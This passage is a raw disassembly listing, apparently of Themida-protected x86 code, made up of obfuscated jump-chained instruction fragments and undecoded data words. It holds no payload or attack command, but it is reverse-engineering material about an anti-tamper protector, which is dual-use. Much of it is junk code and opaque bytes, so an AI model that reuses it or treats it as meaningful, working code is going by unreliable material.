0E949606Ah, 0FFFF39EDh ; --------------------------------------------------------------------------- loc_5552A4: ; CODE XREF: Themida_:00553B2Aj xor edx, 7D80D858h sub ebx, edx pop edx push eax jmp loc_542F56 ; --------------------------------------------------------------------------- db 59h dd 0FEE075E9h, 20C380FFh, 0B4505866h, 0E65CE964h, 41E9FFFFh dd 53FFFED4h, 3EE9FAB3h, 64FFFEEBh, 2B60F66h, 83E08950h dd 3C8904ECh, 535F5424h, 0FF7EE5E9h, 84EB81FFh, 896161EBh dd 0C1B7E9DFh, 0E0C0FFFFh, 0DD5CE902h, 0E589FFFFh, 4C581h dd 0E9570000h, 0FFFED6E8h ; --------------------------------------------------------------------------- loc_55530C: ; CODE XREF: Themida_:005553E1j sub ecx, edx mov edx, [esp] push 4B92h mov [esp], ebx push esp pop ebx add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp and eax, ecx push dword ptr [esp] pop ecx push eax push esp jmp loc_547F05 ; --------------------------------------------------------------------------- loc_55533E: ; CODE XREF: Themida_:00542940j mov ecx, 17B31B4Bh not ecx shl ecx, 3 xor ecx, 21C4004Bh or ecx, 5FB873E1h push esi jmp loc_54AC2C ; --------------------------------------------------------------------------- dw 0D2F6h dd 0FFB9BAE9h, 7BBE56FFh, 0BF1DEF79h, 1DEF797Dh, 0FED559E9h db 0FFh ; --------------------------------------------------------------------------- loc_555371: ; CODE XREF: Themida_:00543FA5j pop ecx jmp loc_5574B2 ; --------------------------------------------------------------------------- db 89h dd 8B542434h, 0C4812434h, 4, 4C681h, 0B7E90000h, 29FFFF8Ch dd 49415AD1h, 0FFC488E9h, 4C483FFh, 0FED36BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5553A1: ; CODE XREF: Themida_:00547D14j add edi, 4 add edi, 4 xchg edi, [esp] pop esp xchg edx, [esp] jmp loc_545E86 ; --------------------------------------------------------------------------- dw 0C700h dd 0D40FE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5553BE: ; CODE XREF: Themida_:00545133j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp push 2013h mov [esp], ecx mov ecx, 5461052Ah add ecx, 27974F5Ah push edx mov edx, 7BF81484h jmp loc_55530C ; --------------------------------------------------------------------------- dw 685Bh dd 179Eh, 0B8240489h, 502D17A3h, 8358C301h, 348904ECh dd 47ED6824h, 15E027Ch, 24348BF3h, 0FF0629E9h, 0C3015DFFh dd 27D5EB81h, 0E5E939A7h db 0F4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55541B: ; CODE XREF: Themida_:00545E87j push dword ptr [esp] pop ecx sub esp, 4 mov [esp], ebx mov ebx, esp push edi mov edi, 20C96E2Ch push esi push edx jmp loc_549F4E ; --------------------------------------------------------------------------- loc_555437: ; CODE XREF: Themida_:00551545j push 6C1Dh mov [esp], ecx jmp loc_54A913 ; --------------------------------------------------------------------------- dd 9C240CD3h, 0FED2BFE9h, 243668FFh, 1C890000h, 81E38924h dd 4C3h, 4BE5600h, 0E9000000h, 0FFFF3AD5h, 0BA241489h dd 51545D7Eh, 148BD001h, 4C48324h, 0FEEC75E9h, 0F7885AFFh dd 0B1515A66h, 0A5C980D4h, 0FF601DE9h, 2434FFFFh, 0FF123CE9h db 0FFh ; --------------------------------------------------------------------------- loc_555495: ; CODE XREF: Themida_:0054DC33j mov eax, 209A3D27h jmp loc_543391 ; --------------------------------------------------------------------------- loc_55549F: ; CODE XREF: Themida_:0054AEB5j add esp, 4 xor ebp, edi jmp loc_54E632 ; --------------------------------------------------------------------------- db 28h, 0F8h, 2Ch dd 0C9B5517Fh, 0E8285404h, 0FF6ED2E9h, 7AE952FFh, 68FFFF72h dd 202Bh, 0E9242C89h, 0FFFFBFF4h, 719C68h, 242C8900h, 79AAE954h dd 0E3C1FFFFh, 0E5E38107h, 4B40F117h, 8C7CEB81h, 0DD298C47h dd 5DEE895Bh, 685EF289h, 496653BFh, 8BD5295Dh, 89572414h dd 4C781E7h, 81000000h, 4C7h, 243C3300h, 33243C31h, 248B243Ch dd 7630524h, 0E80152F0h, 0F007632Dh, 242C8B52h, 5304C483h dd 4BBh, 7A45E900h, 0F301FFFFh, 4EB835Eh, 11DAE953h, 5168FFFFh dd 8900001Fh, 74FF241Ch, 8F5B0424h, 248B2404h, 0E930FF24h dd 0FFFED1B0h ; --------------------------------------------------------------------------- loc_55555C: ; CODE XREF: Themida_:005469D2j pop ebp neg edx dec edx xor edx, 8D9ACEF0h jmp loc_545EE2 ; --------------------------------------------------------------------------- loc_55556B: ; CODE XREF: Themida_:00548505j push edi jmp loc_552A81 ; --------------------------------------------------------------------------- db 81h, 0C6h, 6Fh dd 81477849h, 2A9AD3C6h, 5EF73175h, 0FFA9C4E9h, 3B6855FFh dd 0E900004Ch, 0FFFF13A7h, 81241C8Bh, 4C4h, 5EE95000h dd 2DFFFED6h, 0C43BC193h, 2958C589h, 0F3295DEEh, 0FF633AE9h dd 1687B9FFh, 0C83107FCh, 58C32959h, 1647C381h, 0D3E97713h dd 57FFFFC4h, 6D115DBFh, 0BF78134h, 11FA95Eh, 0FE295FFEh dd 4F56EE81h, 0C6812BC4h, 59AF16DFh, 0FF78CDE9h, 8B665CFFh dd 74682404h, 89000024h, 54552434h, 4C5815Dh, 57000000h dd 4BFh, 5FFD2900h, 8B242C87h, 24892424h, 261B6824h, 4890000h dd 4D1CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55561E: ; CODE XREF: Themida_:00556A5Aj xchg ecx, [esp] pop esp mov [esp], eax mov ah, 9Fh push cx jmp loc_543614 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 592434FFh, 0E904C483h, 0FFFEF258h, 0FFBB535Ah, 1FFFFFFh dd 0C2815BDAh, 0C24CCA08h, 148BD689h, 4C48324h, 4244481h dd 5B4D1E3Dh, 0FF805EE9h, 240C33FFh, 33240C31h, 248B240Ch dd 66F1F624h, 53CCB60Fh, 0B951E389h, 528B0FC1h, 0C8E18149h dd 31251403h, 31CA31D1h, 1EBBE9D1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555692: ; CODE XREF: Themida_:00549D80j xor esi, 49E42AA0h mov ecx, esi pop esi xor ebp, ecx pop ecx xor ebp, 1CEA0F8Bh jmp loc_54C732 ; --------------------------------------------------------------------------- db 68h, 0A0h, 1Ah dd 1C890000h, 4EC8124h, 89000000h, 0F0BD242Ch, 0E9350578h dd 0FFFF23E5h, 0E9240489h, 0FFFF4241h, 8105E9C1h, 6E17DDC9h dd 81D1F749h, 0B6617BC9h, 94E98158h, 29F03FDAh, 6BE959CDh dd 81FFFF16h, 1D285EEFh, 20EAE972h, 0D3880000h, 5A2434FFh dd 4C481h, 0E3C00000h, 8FB55107h, 20E2ED80h, 0EB8059EBh dd 2E3C001h, 52B5EB80h, 0C38084B6h, 80F32829h, 148B29EBh dd 0E2895224h, 93B951h, 0E981061Fh, 61F008Fh, 8359CA01h dd 148704C2h, 0DFE95C24h db 33h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555743: ; CODE XREF: Themida_:00556F96j add esp, 4 push dword ptr [esp] pop eax add esp, 4 xor al, bh pop bx push ecx sub esp, 4 mov [esp], eax mov ah, 98h mov ch, ah pop eax add al, 0A1h push ecx mov cl, 6Ah add al, cl pop ecx sub al, 1Fh sub al, 91h sub al, 1Ch sub al, 63h add al, ch add al, 63h add al, 1Ch add al, 91h add al, 1Fh push ebx mov bh, 38h push eax jmp loc_553984 ; --------------------------------------------------------------------------- loc_555786: ; CODE XREF: Themida_:005568FCj pop ebp add ebx, ecx pop ecx xchg ebx, [esp] mov esp, [esp] imul cx push eax push esp pop eax sub esp, 4 mov [esp], edx push 3C4Eh mov [esp], eax push ebx mov ebx, 4 mov eax, ebx mov ebx, [esp] add esp, 4 push edi mov edi, eax mov edx, edi pop edi mov eax, [esp] add esp, 4 push ebx mov ebx, 48664C3Ch shr ebx, 8 shr ebx, 8 add ebx, 0E9EDEF5h add eax, ebx pop ebx sub eax, 8C43B3h jmp loc_54D4D4 ; --------------------------------------------------------------------------- loc_5557E3: ; CODE XREF: Themida_:005437BCj mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] jmp loc_54AF00 ; --------------------------------------------------------------------------- loc_5557F6: ; CODE XREF: Themida_:005546ACj add esp, 4 pop ebx add ecx, edi push 6599h mov [esp], edx jmp loc_5461A0 ; --------------------------------------------------------------------------- dd 0E956C731h, 0FFFFA285h, 5C5EA81h, 0ED81C7E0h, 185F7EA8h dd 0FF6DA0E9h, 81E958FFh, 8BFFFECFh, 0C481243Ch, 4, 0F3BA5250h dd 0E977902Eh, 0FFFFDD54h, 7B0968h, 24248900h, 4240481h dd 58000000h, 4EC81h, 2C890000h, 55565224h, 6255468h, 0D6E95D13h dd 0ADFFFF1Dh, 0AA368h, 24148900h, 52D56853h, 0E95B7B41h dd 0FFFF0006h ; --------------------------------------------------------------------------- loc_55587C: ; CODE XREF: Themida_:005503B9j add eax, edi jmp loc_5525AC ; --------------------------------------------------------------------------- loc_555883: ; CODE XREF: Themida_:0055345Aj add ecx, eax pop eax mov edx, ecx jmp loc_545376 ; --------------------------------------------------------------------------- loc_55588D: ; CODE XREF: Themida_:00542DAFj push ebp mov ebp, 14173B28h or ebp, 0CDE7C04h neg ebp add ebp, 4F498FD7h add edi, ebp pop ebp jmp loc_555F6C ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 0E9E38953h, 0FFFF6C95h ; --------------------------------------------------------------------------- loc_5558B4: ; CODE XREF: Themida_:0054E7ECj mov [esp], ecx mov ecx, 0B04D8C34h sub edx, ecx pop ecx push edx push ebp mov ebp, 4FC91D87h xor [esp+4], ebp jmp loc_55238B ; --------------------------------------------------------------------------- loc_5558CF: ; CODE XREF: Themida_:00548BF1j add eax, esi mov esi, [esp] add esp, 4 add eax, 4 jmp loc_549B20 ; --------------------------------------------------------------------------- loc_5558DF: ; CODE XREF: Themida_:00554D15j mov [esp], esi jmp loc_5528BE ; --------------------------------------------------------------------------- loc_5558E7: ; CODE XREF: Themida_:0054316Aj push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] imul cx, ax push cx pushf jmp loc_54270C ; --------------------------------------------------------------------------- loc_5558FF: ; CODE XREF: Themida_:00544A6Cj sub esp, 4 mov [esp], edx jmp loc_54F8F5 ; --------------------------------------------------------------------------- dw 8B66h dd 0F9E92424h, 89FFFECDh, 4C181E1h, 83000000h, 0C8704E9h dd 4895C24h, 8BB1E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55592A: ; CODE XREF: Themida_:00544C42j sub esp, 4 mov [esp], esi mov esi, 4 add ebx, esi mov esi, [esp] push ebx jmp loc_54A293 ; --------------------------------------------------------------------------- dd 0F680CEFEh, 5AF520B5h, 8834F580h, 882E9EEh, 0EB810000h dd 307804h, 241C335Dh, 33241C31h, 248B241Ch, 2434FF24h dd 0FF992AE9h, 97BE56FFh, 916CC79h, 24348BF1h, 0F704C483h dd 4E6B68D9h, 2C890000h, 4423BD24h, 0E5C10093h, 992E908h dd 8F540000h, 0B9512404h, 4, 4244C01h, 175EE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5559A6: ; CODE XREF: Themida_:00545903j push esi push small 7617h jmp loc_553A3E ; --------------------------------------------------------------------------- dd 0FAF5815Bh, 8715CD5Ah, 0F58746F5h, 1836ED81h, 0DD687901h dd 8900007Bh, 0E9552404h, 0FFFEE31Ah ; --------------------------------------------------------------------------- loc_5559D0: ; CODE XREF: Themida_:00548249j push eax mov ah, 95h mov ch, ah jmp loc_54393C ; --------------------------------------------------------------------------- dw 48Fh dd 24248B24h, 24042966h, 0CD22E99Ch, 0EAC1FFFEh, 1C1AE907h dd 2C31FFFFh, 0B5C7E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5559FA: ; CODE XREF: Themida_:0054619Bj add ebp, esi push esi mov esi, 699636BEh shr esi, 4 or esi, 11C42098h jmp loc_542CE8 ; --------------------------------------------------------------------------- dd 240C8B66h, 4EC81h, 34890000h, 0E9E68924h, 0FFFEE160h dd 6824048Bh, 24C8h, 0FED9F2E9h db 0FFh ; --------------------------------------------------------------------------- loc_555A31: ; CODE XREF: Themida_:00553751j xchg edi, [esp] jmp loc_552F32 ; --------------------------------------------------------------------------- db 5Ah, 8Fh, 4 dd 24248B24h, 34FFD031h, 0F3E95A24h db 54h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555A4B: ; CODE XREF: Themida_:00543821j add ebp, 4 jmp loc_54F7DA ; --------------------------------------------------------------------------- dw 1489h dd 0D8E2E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555A5E: ; CODE XREF: Themida_:0054B1A9j add esp, 4 sub al, cl mov cx, [esp] add esp, 2 jmp loc_54CD9E ; --------------------------------------------------------------------------- dw 2C89h dd 0E9E58924h, 0FFFFF23Ch, 2A93C181h, 0E9815C33h, 3D5F150Dh dd 0FECCF6E9h db 0FFh ; --------------------------------------------------------------------------- loc_555A8D: ; CODE XREF: Themida_:0055172Dj mov ecx, 7DA31D31h shl ecx, 1 xchg edi, ecx neg edi xchg edi, ecx sub esp, 4 mov [esp], esi jmp loc_553F42 ; --------------------------------------------------------------------------- dd 0E904C483h, 0FFFED518h, 5C24048Fh, 54243C89h, 0FF144EE9h dd 5AEF81FFh, 5E705B2Fh, 0B361A05h, 0E9F82941h, 0FFFFD2DAh dd 6F04F028h, 2434FF5Ah, 8124148Bh, 4C4h, 4C48100h, 51000000h dd 0EB0078B5h, 68C30059h, 56F0h, 68240C89h, 3BF2h, 0E9241C89h dd 0FFFF5CE6h, 31243433h, 34332434h, 24248B24h, 2404FF66h dd 0CBF2E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_555B1A: ; CODE XREF: Themida_:0054D4A7j add esp, 4 push edx push esp pop edx push eax mov eax, 4 add edx, eax jmp loc_54FDF4 ; --------------------------------------------------------------------------- dd 58AEA81h, 835F6AE2h, 0FF5204EAh, 8B042474h, 0C4832414h dd 24048F04h, 2434895Ch, 6FB868h, 242C8900h, 46DAB951h dd 0AAE925F4h, 51FFFED3h, 0FF0EDBE9h, 0F3015AFFh, 4B45EB81h dd 685E2983h, 2748h, 0E9241C89h, 0FFFFF4A3h, 0E9241489h dd 0FFFF25EBh ; --------------------------------------------------------------------------- loc_555B84: ; CODE XREF: Themida_:0054A949j push edx mov edx, 2316055Ah add edx, 1 add edx, 2597740Fh sub esi, edx pop edx pop ecx sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], eax jmp loc_54A078 ; --------------------------------------------------------------------------- dd offset dword_450050+2BA02h db 92h dd 78C5E950h, 0CB01FFFFh, 81C30159h, 75444BEBh, 0D8895810h dd 5B2434FFh, 0E904C483h, 0FFFECB3Ch ; --------------------------------------------------------------------------- loc_555BD0: ; CODE XREF: Themida_:00554BCBj not ebp jmp loc_54E99C ; --------------------------------------------------------------------------- db 68h dd 4, 81242C8Bh, 4C4h, 5DE80100h, 2474FF50h, 48F5804h dd 0EC815C24h, 4, 0E9242C89h, 0FFFED17Dh, 5C24048Fh, 0E9240489h dd 0FFFF3565h, 5E8EEF81h, 0B8507AE6h, 30795209h, 0C85EE705h dd 94E2D1Eh, 0CAE97203h, 89FFFFA4h, 0DCB9240Ch, 5507B44Ah dd 5C1256BDh, 51DDF767h, 2034BF57h, 0EC814FE0h, 4, 0E9243C89h dd 0FFFFC7DFh, 245FED81h, 0F7550193h, 515D241Ch, 805883B9h dd 0C1814930h, 15C542A4h, 0C105E1C1h, 0E9C103E9h, 6761E905h dd 0C281FFFFh, 6EC806CEh, 0B850FA01h, 674C641Ah, 0D0F7D0F7h dd 5D4D2D40h, 14E9F884h, 8100001Dh, 0E88008C1h, 59CB893Eh dd 25B8C381h, 8CE929F1h, 88FFFFDEh, 5EF6E9DCh, 1C89FFFFh dd 0F2B2E924h, 34FFFFFFh, 0C4835924h, 0D3C5E904h, 0C381FFFFh dd 4, 4EC8150h, 89000000h, 0E9502434h, 0FFFFCDA1h ; --------------------------------------------------------------------------- loc_555CD4: ; CODE XREF: Themida_:00542E40j push 6DA8h mov [esp], esi xor dword ptr [esp], 3E411931h pop eax xor eax, 3E411931h push dword ptr [esp] jmp loc_54E391 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0BB000000h, 94D13B7Dh, 34FFD329h, 0C4815A24h, 4, 30E4CB81h dd 0BF5735E2h, 0FFFFFFFFh, 565FFB29h, 0CC1C20BEh, 0C18DE978h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555D22: ; CODE XREF: Themida_:00542713j sub al, 0D7h push small 3EDAh jmp loc_5521F7 ; --------------------------------------------------------------------------- db 0BAh, 5Bh, 45h dd 0D789099Eh, 8324148Bh, 0EC8104C4h, 4, 0FF17B1E9h db 0FFh ; --------------------------------------------------------------------------- loc_555D45: ; CODE XREF: Themida_:005507D1j add ebx, 4B8B49F7h jmp loc_55017C ; --------------------------------------------------------------------------- loc_555D50: ; CODE XREF: Themida_:005525ADj xchg eax, [esp] pop esp jmp loc_545469 ; --------------------------------------------------------------------------- loc_555D59: ; CODE XREF: Themida_:00543F1Cj pop ebp mov esi, eax pop eax sub ebx, esi jmp loc_5434FD ; --------------------------------------------------------------------------- dd 3505E8C1h, 2A505983h, 5D10BF57h, 0E7D12395h, 0FF5B39E9h dd 4B850FFh, 81000000h, 8C71C8C6h, 53C6015Eh, 8C71C8BBh dd 0B6FFE95Eh, 0E089FFFFh, 405h, 40500h, 4870000h, 24248B24h dd 0FF6DF6E9h, 243487FFh, 24348746h, 8124348Bh, 4C4h, 2EEC100h dd 5FFBBF57h, 0FE011E37h, 80F6815Fh, 312822FAh, 0EEE95EF0h db 40h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555DD3: ; CODE XREF: Themida_:005562CDj sub ebp, edi jmp loc_546D5C ; --------------------------------------------------------------------------- dw 2C89h dd 8C16E924h, 815FFFFFh, 81799DE3h, 0FCEB817Bh, 1630070h dd 0F241E9DFh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_555DF6: ; CODE XREF: Themida_:00549468j add esp, 4 not esi and esi, 6AE172A2h sub esi, 2083E408h shr esi, 3 xor esi, 6C714876h jmp loc_556A64 ; --------------------------------------------------------------------------- loc_555E15: ; CODE XREF: Themida_:005510D1j push esp pop edx push eax mov eax, 4 add edx, eax jmp loc_5478B9 ; --------------------------------------------------------------------------- dd 0B2241489h, 4EC811Eh, 89000000h, 79B7241Ch, 3080B551h dd 2434FFEFh, 0E7895759h, 4C781h, 0C7830000h, 243C8704h dd 5BFA285Ch, 0DE4BE953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555E56: ; CODE XREF: Themida_:00548779j or eax, eax jmp loc_54F759 ; --------------------------------------------------------------------------- loc_555E5D: ; CODE XREF: Themida_:0054A1EDj xor edi, [esp] mov esp, [esp] mov [esp], ebx xor dword ptr [esp], 203F1107h jmp loc_55276E ; --------------------------------------------------------------------------- loc_555E72: ; CODE XREF: Themida_:0054E760j pop edx push eax mov eax, 4 add edx, 206251DEh add edx, eax push ebx mov ebx, 38422331h sub ebx, 5208405Ah inc ebx jmp loc_54375F ; --------------------------------------------------------------------------- db 29h dd 10E268F7h, 14890000h, 2FC1BA24h, 0D7292BB8h, 0CCEF815Ah dd 0E9444D54h, 0FFFF15EEh, 0BD3184BBh, 0E9D9215Bh, 0FFFFA508h ; --------------------------------------------------------------------------- loc_555EBC: ; CODE XREF: Themida_:0054ACADj push dx jmp loc_554DA7 ; --------------------------------------------------------------------------- db 83h dd 535104C4h, 0E94EB551h, 0FFFF7F24h, 0FF2434FFh, 51582434h dd 0C181E189h, 4, 0FF08C5E9h, 0CDC781FFh, 8B3FAC6Bh, 0C481240Ch dd 4, 92BD5553h, 0E957E520h, 0C02h, 665ACE2Ch, 66077568h dd 68241489h, 52E2h, 0B7241C89h, 0F6D786E8h, 0F013E9D2h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_555F1E: ; CODE XREF: Themida_:0055737Dj push dword ptr [esp] pop edx jmp loc_548776 ; --------------------------------------------------------------------------- loc_555F27: ; CODE XREF: Themida_:0054F6BCj xchg edx, [esp] mov esp, [esp] or edx, eax jmp loc_549634 ; --------------------------------------------------------------------------- dd 9DE68h, 24048900h, 0EC83E089h, 24148904h, 8F736CBAh dd 0F902E95Dh, 0E468FFFEh, 8900001Ah, 0E789243Ch, 266C68h dd 24048900h, 468h, 0E9525800h, 0FFFF0E92h ; --------------------------------------------------------------------------- loc_555F6C: ; CODE XREF: Themida_:005558A4j or edi, 3667249Ch shr edi, 3 and edi, 21E64910h xor edi, 2BB83DC3h sub ecx, edi mov edi, [esp] jmp loc_543779 ; --------------------------------------------------------------------------- loc_555F8B: ; CODE XREF: Themida_:00542836j mov [esp], esi jmp loc_557A05 ; --------------------------------------------------------------------------- db 4 dd 0E9F028CEh, 0FFFFFF64h, 0E9242C87h, 0FFFF6594h, 0C281E289h dd 4, 3304C283h, 20E92414h db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_555FB7: ; CODE XREF: Themida_:0054E568j pop ebp push esi jmp loc_54ECF6 ; --------------------------------------------------------------------------- dw 0C181h dd 2BBD1306h, 0FFEF6AE9h db 0FFh ; --------------------------------------------------------------------------- loc_555FC9: ; CODE XREF: Themida_:0054D129j pop ebp sub [esp+4], edi pop edi pop ebx push ebp mov ebp, 7FAB5E0Ah and ebp, 2743431Ah xor ebp, 6275385Fh or ebp, 96845F4h push eax mov eax, 0ECC880h jmp loc_545AA1 ; --------------------------------------------------------------------------- loc_555FF3: ; CODE XREF: Themida_:00545CBEj mov [esp], eax push 15C826B4h pop eax xor ebp, eax pop eax add ebp, 0CA3B885Dh mov edx, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], esi push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp push esp pop dword ptr [esp] push 74C6h mov [esp], esi jmp loc_54D92F ; --------------------------------------------------------------------------- loc_55603D: ; CODE XREF: Themida_:005563F3j mov eax, [esp] add esp, 4 add eax, 4 sub eax, 4 push eax push dword ptr [esp+4] jmp loc_5432B8 ; --------------------------------------------------------------------------- db 29h dd 52C581DDh, 5B393650h, 81241C8Bh, 4C4h, 0E7F3E900h, 0C148FFFEh dd 43508E0h, 1E757FFh, 8BBDE9C1h, 0E089FFFFh, 405h, 42D00h dd 4870000h, 0CB34E924h, 0E940FFFEh, 0FFFF5FA1h ; --------------------------------------------------------------------------- loc_556098: ; CODE XREF: Themida_:00553423j mov ebx, 4 add ebp, ebx pop ebx jmp loc_5468A9 ; --------------------------------------------------------------------------- db 0E9h, 62h, 0C6h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5560AA: ; CODE XREF: Themida_:0054B540j xor [esp], edx jmp loc_553A46 ; --------------------------------------------------------------------------- loc_5560B2: ; CODE XREF: Themida_:00547BB1j sub ebx, 2D55B63h mov eax, [esp] add esp, 4 pop ebp jmp loc_54270C ; --------------------------------------------------------------------------- dd 48EE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5560CA: ; CODE XREF: Themida_:00545FD2j pop ax neg di add di, 296Bh add cx, di pop edi add cx, bp jmp loc_545547 ; --------------------------------------------------------------------------- dd 0C831C131h, 3191D1F7h, 31C831C1h, 555756C1h, 0B34B7ABDh dd 9CE94D75h, 0BDFFFF4Eh, 1F9F7EA0h, 0FEFDCAE9h, 33270DFFh dd 5A3560A4h, 2900D220h, 0D2F758C2h, 6B19E281h, 0EA811C7Dh dd 0FA11B4DEh, 0FFD6C2E9h db 0FFh ; --------------------------------------------------------------------------- loc_556125: ; CODE XREF: Themida_:0054FD6Bj add edx, ecx sub edx, 43EE71D2h jmp loc_54C2D4 ; --------------------------------------------------------------------------- loc_556132: ; CODE XREF: Themida_:0054D370j push dword ptr [esp+4] pop ecx jmp loc_553F3A ; --------------------------------------------------------------------------- dd 24048B66h, 0FF34BEE9h, 2434FFFFh, 4EC8358h, 89242C89h dd 0F1BB53E5h, 0E961EB73h, 0FFFFD6C6h ; --------------------------------------------------------------------------- loc_55615C: ; CODE XREF: Themida_:00550520j add esp, 4 sub edi, 4 push edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [esp], eax push 5995317Bh jmp loc_54AEBA ; --------------------------------------------------------------------------- dd 0BB241C89h, 7C7F77CEh, 0FF0B9DE9h, 4BAFFh, 97E90000h dd 66FFFF37h, 665DEA29h, 1CE9E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5561A6: ; CODE XREF: Themida_:0054E16Ej mov [esp], ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_5509F3 ; --------------------------------------------------------------------------- dd 0FEC54BE9h, 0EE015AFFh, 5D2434FFh, 0FF0D8CE9h, 0E95253FFh dd 0FFFEFACDh, 80DEF659h, 0F78840F6h, 8124148Bh, 4C4h dd 2FF78000h, 0E9E6CF80h, 0C48h, 815EF729h, 9C5FEEFh, 5FF9010Eh dd 8702C183h, 248B240Ch, 0AB0F6624h, 0E99C2404h, 0FFFEC4FCh dd 0B951D2F7h, 23F7A933h, 0E9CA01h, 51FFFFE1h, 592414F7h dd 0FFF0E981h, 49E9FFDBh, 89FFFEF0h, 0BB53242Ch, 173B71ADh dd 0FF0F3EE9h, 24248BFFh, 0BB241C89h, 61725CA1h, 68h, 24048100h dd 43694582h, 81241C29h, 4582242Ch, 815B4369h, 8DA35BEBh dd 8BDF019Eh, 0C483241Ch, 4EC8304h, 83240489h, 61E904ECh dd 8FFFFF68h, 3C8B2404h, 7372E924h, 34FFFFFFh, 36E95824h dd 56FFFF6Eh, 8B09E3BEh, 8CEB813Eh, 1575C24h, 0D92EE9F3h dd 0F281FFFFh, 7DA95562h, 0FFD4B0E9h, 23CE68FFh, 4890000h dd 48B5B24h, 0E296E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5562BE: ; CODE XREF: Themida_:00550259j push edx mov edx, 4 add ebp, edx pop edx push edi mov edi, 4 jmp loc_555DD3 ; --------------------------------------------------------------------------- dd offset dword_49005C+3A70Ch dw 8900h dd 0FCE92414h, 1FFFEE3h, 0EB835EF3h, 241C8704h, 240C895Ch dd 296FE954h, 48BFFFFh, 0F45AE924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5562FA: ; CODE XREF: Themida_:005532E5j push ebx mov ebx, 1 mov esi, ebx push dword ptr [esp] pop ebx add esp, 4 add edx, esi pop esi dec edx or edx, 176263E7h sub edx, 24604D4Fh push edi mov edi, 5D4D50E7h jmp loc_5474DF ; --------------------------------------------------------------------------- dd 0E5C1DDF7h, 94E94502h db 0ECh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_55632F: ; CODE XREF: Themida_:0055157Fj add esp, 4 push ebx mov ebx, 683B4EEBh or ebx, 0E3C3E45h dec ebx and ebx, 723651DBh sub ebx, 78460939h add ebx, 3F3F7847h sub ebx, 0F405639h jmp loc_544BEB ; --------------------------------------------------------------------------- loc_55635C: ; CODE XREF: Themida_:0054D21Aj add edi, 4 xchg edi, [esp] pop esp and eax, ebx push dword ptr [esp] jmp loc_54CC81 ; --------------------------------------------------------------------------- dd 0E9240489h, 0FFFFE280h, 29E9D001h db 3Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55637F: ; CODE XREF: Themida_:00548A8Bj pop ebp xchg edx, [esp] mov esp, [esp] mov [esp], ebx mov ebx, 24h jmp loc_546A5B ; --------------------------------------------------------------------------- db 0B8h dd 190A49BCh, 48BC729h, 4C48124h, 0E9000000h, 0FFFEDA30h ; --------------------------------------------------------------------------- loc_5563A8: ; CODE XREF: Themida_:005434CAj add bx, ax jmp loc_5528EC ; --------------------------------------------------------------------------- loc_5563B0: ; CODE XREF: Themida_:005438FAj add edi, esi pop esi push esi mov esi, 35223AD6h sub esi, 4C296354h not esi inc esi and esi, 729D5E32h xor esi, 5A637767h xor esi, 48667F51h add edi, esi pop esi push 2D17h mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] loc_5563EA: ; CODE XREF: Themida_:00552568j push 21Fh mov [esp], eax push esp jmp loc_55603D ; --------------------------------------------------------------------------- dd 0D988C388h, 0FF1ED1E9h, 5355B8FFh, 0BFE900A6h, 0ACFFFFB7h dd 5B4A68h, 24148900h, 0D2F67CB2h, 5066C2FEh, 0B5510DB4h dd 0A7C8E98Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556426: ; CODE XREF: Themida_:0054B688j push eax push 538934FFh jmp loc_557961 ; --------------------------------------------------------------------------- db 5Fh, 0E9h, 4Bh dd 89FFFF74h, 4BD242Ch, 1000000h, 0DB57E9E8h, 0BA52FFFFh dd 2, 148BD089h, 4C48124h, 1000000h, 2434FFC1h, 4C48358h dd 0E9240C33h, 0FFFF9E1Ch ; --------------------------------------------------------------------------- loc_556468: ; CODE XREF: Themida_:0054E682j mov [esp], ecx mov ecx, 4 push ebx mov ebx, 0A7B2011h or ebx, 69DB0CC5h jmp loc_543349 ; --------------------------------------------------------------------------- db 5Ch, 81h, 0C5h dd 4, 2C581h, 2C330000h, 242C3124h, 8B242C33h, 0F662424h dd 9C2404A3h, 0FEC267E9h db 0FFh ; --------------------------------------------------------------------------- loc_5564A5: ; CODE XREF: Themida_:0055651Dj sub ebp, edi mov edi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xor ebp, 1A342D56h add esi, 558A6B69h add esi, ebp jmp loc_54532E ; 